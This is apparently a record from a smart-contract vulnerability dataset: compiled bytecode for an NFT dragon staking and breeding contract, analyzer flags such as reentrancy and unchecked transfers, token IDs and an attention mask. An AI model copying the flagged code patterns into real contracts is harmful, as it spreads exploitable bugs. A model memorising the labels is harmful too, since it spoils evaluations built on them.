159e600380546001019055565b60015b81811161109e5760006115b360035490565b90506115bf8482613e5c565b6115cd600380546001019055565b50806115d881614efa565b9150506115a1565b6000806115ec33611afb565b90506000816001600160401b0381111561160857611608614f81565b604051908082528060200260200182016040528015611631578160200160208202803683370190505b50905061163d336111fe565b90506000806000805b85811015611744576000600a600087848151811061166657611666614f6b565b602002602001015181526020019081526020016000206000336001600160a01b03166001600160a01b0316815260200190815260200160002054111561173257600a60008683815181106116bc576116bc614f6b565b602002602001015181526020019081526020016000206000336001600160a01b03166001600160a01b0316815260200190815260200160002054426117019190614e7c565b93506201518061171985678ac7230489e80000614e5d565b6117239190614e49565b925061172f8383614e31565b91505b8061173c81614efa565b915050611646565b5095945050505050565b6000546001600160a01b031633146117785760405162461bcd60e51b8152600401610ab890614ced565b4773d848353706e5a26baa6dd20265edde1e7047d9ba6108fc61179c606484614e49565b6117a790602d614e5d565b6040518115909202916000818181858888f193505050501580156117cf573d6000803e3d6000fd5b5073b6d2ac64bdc24f76417b95b410acf47ce31add076108fc6117f3606484614e49565b6117fe90601f614e5d565b6040518115909202916000818181858888f19350505050158015611826573d6000803e3d6000fd5b5073e44cb360e48da69fe75a78fd1649ccbd3ccf7ad16108fc61184a606484614e49565b611855906014614e5d565b6040518115909202916000818181858888f1935050505015801561187d573d6000803e3d6000fd5b50739817c311f6897d30e372c119a888028bac879d1c6108fc6118a1606484614e49565b6118ac906004614e5d565b6040518115909202916000818181858888f193505050501580156118d4573d6000803e3d6000fd5b5050565b60006118e3600d5490565b82106119465760405162461bcd60e51b815260206004820152602c60248201527f455243373231456e756d657261626c653a20676c6f62616c20696e646578206f60448201526b7574206f6620626f756e647360a01b6064820152608401610ab8565b600d828154811061195957611959614f6b565b90600052602060002001549050919050565b6000546001600160a01b031633146119955760405162461bcd60e51b8152600401610ab890614ced565b80516118d49060049060208401906145be565b6000546001600160a01b031633146119d25760405162461bcd60e51b8152600401610ab890614ced565b6011546040516355f804b360e01b81526001600160a01b03909116906355f804b390610af1908490600401614c53565b6000546001600160a01b03163314611a2c5760405162461bcd60e51b8152600401610ab890614ced565b6016805460ff60a01b1916600160a01b179055611a4860035490565b611a5a57611a5a600380546001019055565b60015b8181116118d457611a72600380546001019055565b80611a7c81614efa565b915050611a5d565b6000818152601760205260408120546001600160a01b031680610a885760405162461bcd60e51b815260206004820152602960248201527f4552433732313a206f776e657220717565727920666f72206e6f6e657869737460448201526832b73a103a37b5b2b760b91b6064820152608401610ab8565b60006001600160a01b038216611b665760405162461bcd60e51b815260206004820152602a60248201527f4552433732313a2062616c616e636520717565727920666f7220746865207a65604482015269726f206164647265737360b01b6064820152608401610ab8565b506001600160a01b031660009081526018602052604090205490565b6000546001600160a01b03163314611bac5760405162461bcd60e51b8152600401610ab890614ced565b611bb66000613e76565b565b601254604051630ae1d72560e21b81523360048201526000916001600160a01b031690632b875c94906024015b60206040518083038186803b158015611bfd57600080fd5b505afa158015611c11573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611c359190614adf565b905090565b6000546001600160a01b03163314611c645760405162461bcd60e51b8152600401610ab890614ced565b601154604051633135bd0f60e11b8152600481018390526001600160a01b039091169063626b7a1e90602401610af1565b6000546001600160a01b03163314611cbf5760405162461bcd60e51b8152600401610ab890614ced565b600855565b6000546001600160a01b03163314611cee5760405162461bcd60e51b8152600401610ab890614ced565b6009805460ff19811660ff90911615179055565b601154604051630ae1d72560e21b81523360048201526000916001600160a01b031690632b875c9490602401611be5565b60145460405163169c788f60e11b81523360048201526000916001600160a01b031690632d38f11e9060240160006040518083038186803b158015611d7757600080fd5b505afa158015611d8b573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f19168201604052611db39190810190614909565b905060005b8151811015611f395760145482516001600160a01b0390911690636352211e90849084908110611dea57611dea614f6b565b60200260200101516040518263ffffffff1660e01b8152600401611e1091815260200190565b60206040518083038186803b158015611e2857600080fd5b505afa158015611e3c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611e60919061473d565b6001600160a01b0316336001600160a01b031614611e7d57600080fd5b60145482516001600160a01b03909116906323b872dd90339061dead90869086908110611eac57611eac614f6b565b60200260200101516040518463ffffffff1660e01b8152600401611ed293929190614ba1565b600060405180830381600087803b158015611eec57600080fd5b505af1158015611f00573d6000803e3d6000fd5b50505050611f2733838381518110611f1a57611f1a614f6b565b6020026020010151613ec6565b80611f3181614efa565b915050611db8565b5060155460405163169c788f60e11b81523360048201526000916001600160a01b031690632d38f11e9060240160006040518083038186803b158015611f7e57600080fd5b505afa158015611f92573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f19168201604052611fba9190810190614909565b905060005b81518110156121a05760155482516001600160a01b0390911690636352211e90849084908110611ff157611ff1614f6b565b60200260200101516040518263ffffffff1660e01b815260040161201791815260200190565b60206040518083038186803b15801561202f57600080fd5b505afa158015612043573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612067919061473d565b6001600160a01b0316336001600160a01b03161461208457600080fd5b60155482516001600160a01b03909116906323b872dd90339061dead908690869081106120b3576120b3614f6b565b60200260200101516040518463ffffffff1660e01b81526004016120d993929190614ba1565b600060405180830381600087803b1580156120f357600080fd5b505af1158015612107573d6000803e3d6000fd5b505060115484516001600160a01b0390911692506340c10f199150339085908590811061213657612136614f6b565b60200260200101516040518363ffffffff1660e01b815260040161215b929190614c02565b600060405180830381600087803b15801561217557600080fd5b505af1158015612189573d6000803e3d6000fd5b50505050808061219890614efa565b915050611fbf565b5060165460405163169c788f60e11b81523360048201526000916001600160a01b031690632d38f11e9060240160006040518083038186803b1580156121e557600080fd5b505afa1580156121f9573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f191682016040526122219190810190614909565b905060005b81518110156124075760165482516001600160a01b0390911690636352211e9084908490811061225857612258614f6b565b60200260200101516040518263ffffffff1660e01b815260040161227e91815260200190565b60206040518083038186803b15801561229657600080fd5b505afa1580156122aa573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906122ce919061473d565b6001600160a01b0316336001600160a01b0316146122eb57600080fd5b60165482516001600160a01b03909116906323b872dd90339061dead9086908690811061231a5761231a614f6b565b60200260200101516040518463ffffffff1660e01b815260040161234093929190614ba1565b600060405180830381600087803b15801561235a57600080fd5b505af115801561236e573d6000803e3d6000fd5b505060125484516001600160a01b0390911692506340c10f199150339085908590811061239d5761239d614f6b565b60200260200101516040518363ffffffff1660e01b81526004016123c2929190614c02565b600060405180830381600087803b1580156123dc57600080fd5b505af11580156123f0573d6000803e3d6000fd5b5050505080806123ff90614efa565b915050612226565b506013546040516370a0823160e01b81523360048201526000916001600160a01b0316906370a082319060240160206040518083038186803b15801561244c57600080fd5b505afa158015612460573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906124849190614adf565b90506000601460009054906101000a90046001600160a01b03166001600160a01b0316634e1575696040518163ffffffff1660e01b815260040160206040518083038186803b1580156124d657600080fd5b505afa1580156124ea573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061250e9190614adf565b601554604051630ae1d72560e21b81523360048201529192506000916001600160a01b0390911690632b875c949060240160206040518083038186803b15801561255757600080fd5b505afa15801561256b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061258f9190614adf565b601654604051630ae1d72560e21b81523360048201529192506000916001600160a01b0390911690632b875c949060240160206040518083038186803b1580156125d857600080fd5b505afa1580156125ec573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906126109190614adf565b9050600081836126208688614e31565b61262a9190614e31565b6126349190614e31565b6013546040516323b872dd60e01b81529192506001600160a01b0316906323b872dd9061266b90339061dead908a90600401614ba1565b602060405180830381600087803b15801561268557600080fd5b505af1158015612699573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906126bd9190614a27565b506010546040516340c10f1960e01b81526001600160a01b03909116906340c10f19906126f09033908590600401614c02565b600060405180830381600087803b15801561270a57600080fd5b505af115801561271e573d6000803e3d6000fd5b505050505050505050505050565b606060028054610e7590614ebf565b600080546001600160a01b031633146127665760405162461bcd60e51b8152600401610ab890614ced565b5060095460ff1690565b6118d4338383614028565b6000546001600160a01b031633146127a55760405162461bcd60e51b8152600401610ab890614ced565b601254604051633135bd0f60e11b8152600481018390526001600160a01b039091169063626b7a1e90602401610af1565b6127e03383613d65565b6127fc5760405162461bcd60e51b8152600401610ab890614d22565b612808848484846140f7565b50505050565b600061281933611afb565b116128665760405162461bcd60e51b815260206004820152601860248201527f4e6f74205175616c696669656420466f722052657761726400000000000000006044820152606401610ab8565b600061287133611afb565b90506000816001600160401b0381111561288d5761288d614f81565b6040519080825280602002602001820160405280156128b6578160200160208202803683370190505b5090506128c2336111fe565b90506000806000805b85811015612a08576000600a60008784815181106128eb576128eb614f6b565b602002602001015181526020019081526020016000206000336001600160a01b03166001600160a01b031681526020019081526020016000205411156129f657600a600086838151811061294157612941614f6b565b602002602001015181526020019081526020016000206000336001600160a01b03166001600160a01b0316815260200190815260200160002054426129869190614e7c565b93506201518061299e85678ac7230489e80000614e5d565b6129a89190614e49565b92506129b48383614e31565b915042600a60008784815181106129cd576129cd614f6b565b602090810291909101810151825281810192909252604090810160009081203382529092529020555b80612a0081614efa565b9150506128cb565b506010546040516340c10f1960e01b81526001600160a01b03909116906340c10f1990612a3b9033908590600401614c02565b600060405180830381600087803b158015612a5557600080fd5b505af1158015612a69573d6000803e3d6000fd5b50506011546040516370a0823160e01b8152336004820152600093506001600160a01b0390911691506370a082319060240160206040518083038186803b158015612ab357600080fd5b505afa158015612ac7573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612aeb9190614adf565b1115612b4f5760115460405163281e973960e11b81523360048201526001600160a01b039091169063503d2e7290602401600060405180830381600087803b158015612b3657600080fd5b505af1158015612b4a573d6000803e3d6000fd5b505050505b6012546040516370a0823160e01b81523360048201526000916001600160a01b0316906370a082319060240160206040518083038186803b158015612b9357600080fd5b505afa158015612ba7573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612bcb9190614adf565b1115610b1f5760125460405163281e973960e11b81523360048201526001600160a01b039091169063503d2e7290602401600060405180830381600087803b158015612c1657600080fd5b505af1158015612c2a573d6000803e3d6000fd5b505050505050505050565b60058054612c4290614ebf565b80601f0160208091040260200160405190810160405280929190818152602001828054612c6e90614ebf565b8015612cbb5780601f10612c9057610100808354040283529160200191612cbb565b820191906000526020600020905b815481529060010190602001808311612c9e57829003601f168201915b505050505081565b6000818152601760205260409020546060906001600160a01b0316612d425760405162461bcd60e51b815260206004820152602f60248201527f4552433732314d657461646174613a2055524920717565727920666f72206e6f60448201526e3732bc34b9ba32b73a103a37b5b2b760891b6064820152608401610ab8565b6000612d4c61412a565b90506000815111612d6c5760405180602001604052806000815250612d97565b80612d7684614139565b604051602001612d87929190614b72565b6040516020818303038152906040525b9392505050565b6000546001600160a01b03163314612dc85760405162461bcd60e51b8152600401610ab890614ced565b6009805461ff001981166101009182900460ff1615909102179055565b6000546001600160a01b03163314612e0f5760405162461bcd60e51b8152600401610ab890614ced565b601254604051631752e98560e21b8152600481018390526001600160a01b0390911690635d4ba61490602401610af1565b686194049f30f72000006002612e5533611afb565b1015612e9a5760405162461bcd60e51b81526020600482015260146024820152734d757374204f776e2032203078447261676f6e7360601b6044820152606401610ab8565b6010546040516370a0823160e01b815233600482015282916001600160a01b0316906370a082319060240160206040518083038186803b158015612edd57600080fd5b505afa158015612ef1573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612f159190614adf565b1015612f335760405162461bcd60e51b8152600401610ab890614d73565b33612f3d84611a84565b6001600160a01b031614612f635760405162461bcd60e51b8152600401610ab890614db5565b33612f6d83611a84565b6001600160a01b031614612f935760405162461bcd60e51b8152600401610ab890614db5565b600954610100900460ff1615612fa857600080fd5b601054604051632770a7eb60e21b81526001600160a01b0390911690639dc29fac90612fda9033908590600401614c02565b600060405180830381600087803b158015612ff457600080fd5b505af1158015613008573d6000803e3d6000fd5b5050306000908152600f602090815260408083208884529091528082208054600160ff1991821681179092558784529282902080549093161790915560125490516335313c2160e11b81523360048201526001600160a01b039091169250636a6278429150602401600060405180830381600087803b15801561308a57600080fd5b505af115801561309e573d6000803e3d6000fd5b50505050505050565b6000546001600160a01b031633146130d15760405162461bcd60e51b8152600401610ab890614ced565b80516118d49060059060208401906145be565b8260005b815181101561325c5760145482516001600160a01b0390911690636352211e9084908490811061311a5761311a614f6b565b60200260200101516040518263ffffffff1660e01b815260040161314091815260200190565b60206040518083038186803b15801561315857600080fd5b505afa15801561316c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190613190919061473d565b6001600160a01b0316336001600160a01b0316146131ad57600080fd5b60145482516001600160a01b03909116906323b872dd90339061dead908690869081106131dc576131dc614f6b565b60200260200101516040518463ffffffff1660e01b815260040161320293929190614ba1565b600060405180830381600087803b15801561321c57600080fd5b505af1158015613230573d6000803e3d6000fd5b5050505061324a33838381518110611f1a57611f1a614f6b565b8061325481614efa565b9150506130e8565b508260005b81518110156134425760155482516001600160a01b0390911690636352211e9084908490811061329357613293614f6b565b60200260200101516040518263ffffffff1660e01b81526004016132b991815260200190565b60206040518083038186803b1580156132d157600080fd5b505afa1580156132e5573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190613309919061473d565b6001600160a01b0316336001600160a01b03161461332657600080fd5b60155482516001600160a01b03909116906323b872dd90339061dead9086908690811061335557613355614f6b565b60200260200101516040518463ffffffff1660e01b815260040161337b93929190614ba1565b600060405180830381600087803b15801561339557600080fd5b505af11580156133a9573d6000803e3d6000fd5b505060115484516001600160a01b0390911692506340c10f19915033908590859081106133d8576133d8614f6b565b60200260200101516040518363ffffffff1660e01b81526004016133fd929190614c02565b600060405180830381600087803b15801561341757600080fd5b505af115801561342b573d6000803e3d6000fd5b50505050808061343a90614efa565b915050613261565b508260005b81518110156136285760165482516001600160a01b0390911690636352211e9084908490811061347957613479614f6b565b60200260200101516040518263ffffffff1660e01b815260040161349f91815260200190565b60206040518083038186803b1580156134b757600080fd5b505afa1580156134cb573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906134ef919061473d565b6001600160a01b0316336001600160a01b03161461350c57600080fd5b60165482516001600160a01b03909116906323b872dd90339061dead9086908690811061353b5761353b614f6b565b60200260200101516040518463ffffffff1660e01b815260040161356193929190614ba1565b600060405180830381600087803b15801561357b57600080fd5b505af115801561358f573d6000803e3d6000fd5b505060125484516001600160a01b0390911692506340c10f19915033908590859081106135be576135be614f6b565b60200260200101516040518363ffffffff1660e01b81526004016135e3929190614c02565b600060405180830381600087803b1580156135fd57600080fd5b505af1158015613611573d6000803e3d6000fd5b50505050808061362090614efa565b915050613447565b506013546040516370a0823160e01b81523360048201526000916001600160a01b0316906370a082319060240160206040518083038186803b15801561366d57600080fd5b505afa158015613681573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906136a59190614adf565b601554604051630ae1d72560e21b81523360048201529192506000916001600160a01b0390911690632b875c949060240160206040518083038186803b1580156136ee57600080fd5b505afa158015613702573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906137269190614adf565b601654604051630ae1d72560e21b81523360048201529192506000916001600160a01b0390911690632b875c949060240160206040518083038186803b15801561376f57600080fd5b505afa158015613783573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906137a79190614adf565b90506000816137b68486614e31565b6137c09190614e31565b6013546040516323b872dd60e01b81529192506001600160a01b0316906323b872dd906137f790339061dead908990600401614ba1565b602060405180830381600087803b15801561381157600080fd5b505af1158015613825573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906138499190614a27565b506010546040516340c10f1960e01b81526001600160a01b03909116906340c10f199061387c9033908590600401614c02565b600060405180830381600087803b15801561389657600080fd5b505af11580156138aa573d6000803e3d6000fd5b5050505050505050505050505050565b60048054612c4290614ebf565b6000546001600160a01b031633146138f15760405162461bcd60e51b8152600401610ab890614ced565b6001600160a01b0381166139565760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610ab8565b61395f81613e76565b50565b6060600061396f83611afb565b90506000816001600160401b0381111561398b5761398b614f81565b6040519080825280602002602001820160405280156139b4578160200160208202803683370190505b5090506139c0846111fe565b90506000805b83811015613a3657306000908152600f6020526040812084519091908590849081106139f4576139f4614f6b565b60209081029190910181015182528101919091526040016000205460ff16613a245781613a2081614efa565b9250505b80613a2e81614efa565b9150506139c6565b506000816001600160401b03811115613a5157613a51614f81565b604051908082528060200260200182016040528015613a7a578160200160208202803683370190505b5090506000805b85811015613b2857306000908152600f602052604081208651909190879084908110613aaf57613aaf614f6b565b60209081029190910181015182528101919091526040016000205460ff16613b1657848181518110613ae357613ae3614f6b565b6020026020010151838381518110613afd57613afd614f6b565b602090810291909101015281613b1281614efa565b9250505b80613b2081614efa565b915050613a81565b50909695505050505050565b826001600160a01b0316613b4782611a84565b6001600160a01b031614613bab5760405162461bcd60e51b815260206004820152602560248201527f4552433732313a207472616e736665722066726f6d20696e636f72726563742060448201526437bbb732b960d91b6064820152608401610ab8565b6001600160a01b038216613c0d5760405162461bcd60e51b8152602060048201526024808201527f4552433732313a207472616e7366657220746f20746865207a65726f206164646044820152637265737360e01b6064820152608401610ab8565b613c18838383614236565b613c23600082613cf7565b6001600160a01b0383166000908152601860205260408120805460019290613c4c908490614e7c565b90915550506001600160a01b0382166000908152601860205260408120805460019290613c7a908490614e31565b9091555050600081815260176020908152604080832080546001600160a01b0319166001600160a01b03878116918217909255600a84528285208186529093528184204290558616808452818420849055905184937fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef91a4505050565b600081815260196020526040902080546001600160a01b0319166001600160a01b0384169081179091558190613d2c82611a84565b6001600160a01b03167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560405160405180910390a45050565b6000818152601760205260408120546001600160a01b0316613dde5760405162461bcd60e51b815260206004820152602c60248201527f4552433732313a206f70657261746f7220717565727920666f72206e6f6e657860448201526b34b9ba32b73a103a37b5b2b760a11b6064820152608401610ab8565b6000613de983611a84565b9050806001600160a01b0316846001600160a01b03161480613e245750836001600160a01b0316613e1984610ef8565b6001600160a01b0316145b80613e5457506001600160a01b038082166000908152601a602090815260408083209388168352929052205460ff165b949350505050565b6118d48282604051806020016040528060008152506142ee565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6001600160a01b038216613f1c5760405162461bcd60e51b815260206004820181905260248201527f4552433732313a206d696e7420746f20746865207a65726f20616464726573736044820152606401610ab8565b6000818152601760205260409020546001600160a01b031615613f815760405162461bcd60e51b815260206004820152601c60248201527f4552433732313a20746f6b656e20616c7265616479206d696e746564000000006044820152606401610ab8565b613f8d60008383614236565b6001600160a01b0382166000908152601860205260408120805460019290613fb6908490614e31565b9091555050600081815260176020908152604080832080546001600160a01b0319166001600160a01b038716908117909155600a8352818420818552909252808320429055518392907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef908290a45050565b816001600160a01b0316836001600160a01b0316141561408a5760405162461bcd60e51b815260206004820152601960248201527f4552433732313a20617070726f766520746f2063616c6c6572000000000000006044820152606401610ab8565b6001600160a01b038381166000818152601a6020908152604080832094871680845294825291829020805460ff191686151590811790915591519182527f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c31910160405180910390a3505050565b614102848484613b34565b61410e84848484614321565b6128085760405162461bcd60e51b8152600401610ab890614c66565b606060048054610e7590614ebf565b60608161415d5750506040805180820190915260018152600360fc1b602082015290565b8160005b8115614187578061417181614efa565b91506141809050600a83614e49565b9150614161565b6000816001600160401b038111156141a1576141a1614f81565b6040519080825280601f01601f1916602001820160405280156141cb576020820181803683370190505b5090505b8415613e54576141e0600183614e7c565b91506141ed600a86614f15565b6141f8906030614e31565b60f81b81838151811061420d5761420d614f6b565b60200101906001600160f81b031916908160001a90535061422f600a86614e49565b94506141cf565b6001600160a01b0383166142915761428c81600d80546000838152600e60205260408120829055600182018355919091527fd7b6990105719101dabeb77144f2a3385c8033acd3af97e9423a695e81ad1eb50155565b6142b4565b816001600160a01b0316836001600160a01b0316146142b4576142b4838261442e565b6001600160a01b0382166142cb5761109e816144cb565b826001600160a01b0316826001600160a01b03161461109e5761109e828261457a565b6142f88383613ec6565b6143056000848484614321565b61109e5760405162461bcd60e51b8152600401610ab890614c66565b60006001600160a01b0384163b1561442357604051630a85bd0160e11b81526001600160a01b0385169063150b7a0290614365903390899088908890600401614bc5565b602060405180830381600087803b15801561437f57600080fd5b505af19250505080156143af575060408051601f3d908101601f191682019092526143ac91810190614a61565b60015b614409573d8080156143dd576040519150601f19603f3d011682016040523d82523d6000602084013e6143e2565b606091505b5080516144015760405162461bcd60e51b8152600401610ab890614c66565b805181602001fd5b6001600160e01b031916630a85bd0160e11b149050613e54565b506001949350505050565b6000600161443b84611afb565b6144459190614e7c565b6000838152600c6020526040902054909150808214614498576001600160a01b0384166000908152600b602090815260408083208584528252808320548484528184208190558352600c90915290208190555b506000918252600c602090815260408084208490556001600160a01b039094168352600b81528383209183525290812055565b600d546000906144dd90600190614e7c565b6000838152600e6020526040812054600d805493945090928490811061450557614505614f6b565b9060005260206000200154905080600d838154811061452657614526614f6b565b6000918252602080832090910192909255828152600e9091526040808220849055858252812055600d80548061455e5761455e614f55565b6001900381819060005260206000200160009055905550505050565b600061458583611afb565b6001600160a01b039093166000908152600b602090815260408083208684528252808320859055938252600c9052919091209190915550565b8280546145ca90614ebf565b90600052602060002090601f0160209004810192826145ec5760008555614632565b82601f1061460557805160ff1916838001178555614632565b82800160010185558215614632579182015b82811115614632578251825591602001919060010190614617565b5061463e929150614642565b5090565b5b8082111561463e5760008155600101614643565b60006001600160401b0383111561467057614670614f81565b614683601f8401601f1916602001614dde565b905082815283838301111561469757600080fd5b828260208301376000602084830101529392505050565b600082601f8301126146bf57600080fd5b813560206146d46146cf83614e0e565b614dde565b80838252828201915082860187848660051b89010111156146f457600080fd5b60005b85811015614713578135845292840192908401906001016146f7565b5090979650505050505050565b60006020828403121561473257600080fd5b8135612d9781614f97565b60006020828403121561474f57600080fd5b8151612d9781614f97565b6000806040838503121561476d57600080fd5b823561477881614f97565b9150602083013561478881614f97565b809150509250929050565b600080600080608085870312156147a957600080fd5b84356147b481614f97565b935060208501356147c481614f97565b925060408501356147d481614f97565b915060608501356147e481614f97565b939692955090935050565b60008060006060848603121561480457600080fd5b833561480f81614f97565b9250602084013561481f81614f97565b929592945050506040919091013590565b6000806000806080858703121561484657600080fd5b843561485181614f97565b9350602085013561486181614f97565b92506040850135915060608501356001600160401b0381111561488357600080fd5b8501601f8101871361489457600080fd5b6148a387823560208401614657565b91505092959194509250565b600080604083850312156148c257600080fd5b82356148cd81614f97565b9150602083013561478881614fac565b600080604083850312156148f057600080fd5b82356148fb81614f97565b946020939093013593505050565b6000602080838503121561491c57600080fd5b82516001600160401b0381111561493257600080fd5b8301601f8101851361494357600080fd5b80516149516146cf82614e0e565b80828252848201915084840188868560051b870101111561497157600080fd5b600094505b83851015614994578051835260019490940193918501918501614976565b50979650505050505050565b6000806000606084860312156149b557600080fd5b83356001600160401b03808211156149cc57600080fd5b6149d8878388016146ae565b945060208601359150808211156149ee57600080fd5b6149fa878388016146ae565b93506040860135915080821115614a1057600080fd5b50614a1d868287016146ae565b9150509250925092565b600060208284031215614a3957600080fd5b8151612d9781614fac565b600060208284031215614a5657600080fd5b8135612d9781614fba565b600060208284031215614a7357600080fd5b8151612d9781614fba565b600060208284031215614a9057600080fd5b81356001600160401b03811115614aa657600080fd5b8201601f81018413614ab757600080fd5b613e5484823560208401614657565b600060208284031215614ad857600080fd5b5035919050565b600060208284031215614af157600080fd5b5051919050565b60008060408385031215614b0b57600080fd5b50508035926020909101359150565b600080600060608486031215614b2f57600080fd5b505081359360208301359350604090920135919050565b60008151808452614b5e816020860160208601614e93565b601f01601f19169290920160200192915050565b60008351614b84818460208801614e93565b835190830190614b98818360208801614e93565b01949350505050565b6001600160a01b039384168152919092166020820152604081019190915260600190565b6001600160a01b0385811682528416602082015260408101839052608060608201819052600090614bf890830184614b46565b9695505050505050565b6001600160a01b03929092168252602082015260400190565b6020808252825182820181905260009190848201906040850190845b81811015613b2857835183529284019291840191600101614c37565b602081526000612d976020830184614b46565b60208082526032908201527f4552433732313a207472616e7366657220746f206e6f6e20455243373231526560408201527131b2b4bb32b91034b6b83632b6b2b73a32b960711b606082015260800190565b6020808252818101527f4272656420447261676f6e732043414e27542042652053616372696669636564604082015260600190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60208082526031908201527f4552433732313a207472616e736665722063616c6c6572206973206e6f74206f6040820152701ddb995c881b9bdc88185c1c1c9bdd9959607a1b606082015260800190565b60208082526022908201527f596f7520446f6e7420486176652054686520245343414c4520466f7220546861604082015261742160f01b606082015260800190565b6020808252600f908201526e2727aa102ca7aaa910222920a3a7a760891b604082015260600190565b604051601f8201601f191681016001600160401b0381118282101715614e0657614e06614f81565b604052919050565b60006001600160401b03821115614e2757614e27614f81565b5060051b60200190565b60008219821115614e4457614e44614f29565b500190565b600082614e5857614e58614f3f565b500490565b6000816000190483118215151615614e7757614e77614f29565b500290565b600082821015614e8e57614e8e614f29565b500390565b60005b83811015614eae578181015183820152602001614e96565b838111156128085750506000910152565b600181811c90821680614ed357607f821691505b60208210811415614ef457634e487b7160e01b600052602260045260246000fd5b50919050565b6000600019821415614f0e57614f0e614f29565b5060010190565b600082614f2457614f24614f3f565b500690565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052601260045260246000fd5b634e487b7160e01b600052603160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461395f57600080fd5b801515811461395f57600080fd5b6001600160e01b03198116811461395f57600080fdfea2646970667358221220d7f4afdc879ce6a786c65ec71470931e1fd0d383006ea07f8d240a62250df68564736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}, {"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'divide-before-multiply', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'reentrancy-no-eth', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'uninitialized-local', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'unchecked-transfer', 'impact': 'High', 'confidence': 'Medium'}, {'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2629, 14141, 2546, 23833, 2094, 2581, 29097, 26337, 29292, 11329, 2629, 2050, 29097, 8889, 2620, 29292, 18939, 2509, 7959, 2546, 2581, 2487, 26337, 2620, 2050, 2620, 2549, 1013, 1013, 5371, 1024, 8311, 1013, 9413, 2278, 11387, 18447, 2121, 12172, 1012, 14017, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 1014, 1025, 1013, 1008, 1008, 1008, 1030, 16475, 8278, 1997, 1996, 9413, 2278, 11387, 3115, 2004, 4225, 1999, 1996, 1041, 11514, 1012, 1008, 1013, 8278, 29464, 11890, 11387, 1035, 1063, 3853, 21948, 6279, 22086, 1006, 1007, 6327, 3193, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1025, 3853, 5703, 11253, 1006, 4769, 4070, 1007, 6327, 3193, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1025, 3853, 4651, 1006, 4769, 2000, 1010, 21318, 3372, 17788, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
58,878
0x95de267b94130b1aa6dd664247433212b9a27286
